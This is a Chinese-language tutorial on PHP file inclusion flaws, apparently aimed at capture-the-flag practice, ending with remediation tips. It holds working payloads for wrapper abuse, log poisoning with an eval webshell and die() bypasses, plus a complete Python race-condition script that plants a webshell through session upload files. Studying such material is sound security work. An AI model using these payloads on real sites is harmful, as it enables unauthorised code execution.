文件包含


原理

文件包含漏洞是指应用程序在处理文件路径时,没有进行足够的验证
导致攻击者可以利用此漏洞读取任意文件,执行任意代码甚至获取系统权限。

这种漏洞通常出现在应用程序中动态引用文件的代码中
或是出现在用户可以控制文件名、文件路径或文件内容的输入参数上。
攻击者可以在这些参数中注入特定的字符,从而构造一个恶意文件路径并被应用程序读取
应用程序没有对这个路径进行验证,最终导致攻击者可以获取系统权限或读取任意文件。

分类

  1. 本地文件包含
  2. 远程文件包含 :即加载远程文件,在php.ini中开allow_url_include 、allow_url_fopen选项。开启后可以直接执行任意代码。

漏洞利用

【截断包含】
1.%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断
2.路径长度截断:
Windows下目录最大长度为256字节,超出最大长度之后的部分将全部丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
使用超长的../1.php或者一直重复../1.php

【有限制远程文件包含漏洞绕过】
使用?或者%23或者%20截断后缀(已编码)

【使用伪协议读取文件】

参数=php://filter/convert.base64-encode/resource=目标文件
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==    
file=data://text/plain,<?=`tac f*`;?>

【UA注入后日志包含】

user-ugent:
<?=eval($_POST[cmd]);?>
访问日志文件:
?file=/var/log/nginx/access.log
使用POST执行命令:
cmd=system(“ls”);
在UA中注入编码过的代码不会被浏览器解码
GET请求的参数在存入PHP之前也不会被解码,但是日志在转发到PHO的端口之前就已经写入日志了。

【session临时文件条件竞争】

在.被过滤后php中唯一能无后缀控制的,只有session文件
当开启session时,服务器会在临时目录下创建session文件来保存会话信息,文件名格式为sess_PHPSESSID。一般的linux会将session保存在下面的的某一个目录下:
     /var/lib/php/
     /var/lib/php/sessions/
     /tmp/
     /tmp/sessions/
web服务会使用多线程接收用户的请求,以确保能够处理并发进程或线程不同的程序段
在多个并发请求时多个进程可能会同时创建同一个session文件
那么攻击者就有可能在服务器创建session文件之前,先创建一个同名的session文件
并利用PHP_SESSION_UPLOAD_PROGRESS设置文件内容,写入攻击者的命令
如果成功存入了恶意文件,就能访问该文件并POST执行RCE
EXP放在了文末

【绕过die函数】

思路:
将die函数的代码语句编码成不能正常执行的命令,然后再将文件内的恶意代码编码成可执行命令。
首先,base64加秘后会忽略掉一些符号以及中文字体
(只有+, / , 0-9,a-z,A~Z,其余字符都会被跳过)
又因为base64加密是4个一组,所以当你随意加上字符补齐die函数的编码时就能绕过die函数
例如
"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位
另外,因为php://filter伪协议支持使用多个过滤器
所以可使用strip_tags与base64解码的形式来实现绕过死亡代码
例如
?file=php://filter/string.strip_tags|convert.base64-decode/resource=4.php
除此之外,可以通过使用rot13加密让php引擎把该代码识别成乱码
例如
<?=system('tac f*.php');?>  ————>  <?=flfgrz('gnp s*.cuc');?>
<?=flfgrz('gnp s*.cuc');?>  ————>  <?=system('tac f*.php');?>

修复方案

  1. 禁止远程文件包含allow_url_include=off
  2. 配置open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。
  7. 使用白名单或安全沙箱技术
  8. 遵循最小权限原则,确保应用程序具有最小的访问权限。

session文件条件竞争EXP


import requests
import io
import threading

url = ''    # 改成自己的url
sessionid = 'truthahn'      # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
            'PHPSESSID':sessionid
        }

def write(session):        # write()函数用于写入session临时文件
    fileBytes = io.BytesIO(b'a'*1024*50)    # 设置上传文件的大小为50k
    data2 = {
        'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'    # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
    }
    files = {
        'file':('truthahn.jpg',fileBytes)
    }
    while True:    
        res = session.post(url,data=data2,cookies=cookies,files=files)
        # print(res.text)
        #print('======= write done! ======')

def read(session):         # read()函数利用session临时文件生成一句话木马,实现rce
    data1 = {
        "1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');"     # 使用file_put_contents()php内置函数生成名为3.php的shell文件
    }
    while True:
        res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
        # print(res.text)
        res2 = session.get(url+'3.php')
        # print(res2.text)
        if res2.status_code == 200:     #若3.php成功生成,则返回Done!,否则返回失败的状态码
            print('++++++++ Done! +++++++++')
        else:
            print(res2.status_code)

if __name__ == '__main__':
    event = threading.Event()       
    with requests.session() as session:     # 为每个函数设置5个线程并发执行,可以适当增加以应对系统执行的系统时间
        for i in range(5):
            #print('*'*50)
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            #print('='*50)
            threading.Thread(target=read,args=(session,)).start()

    event.set()

评论
  目录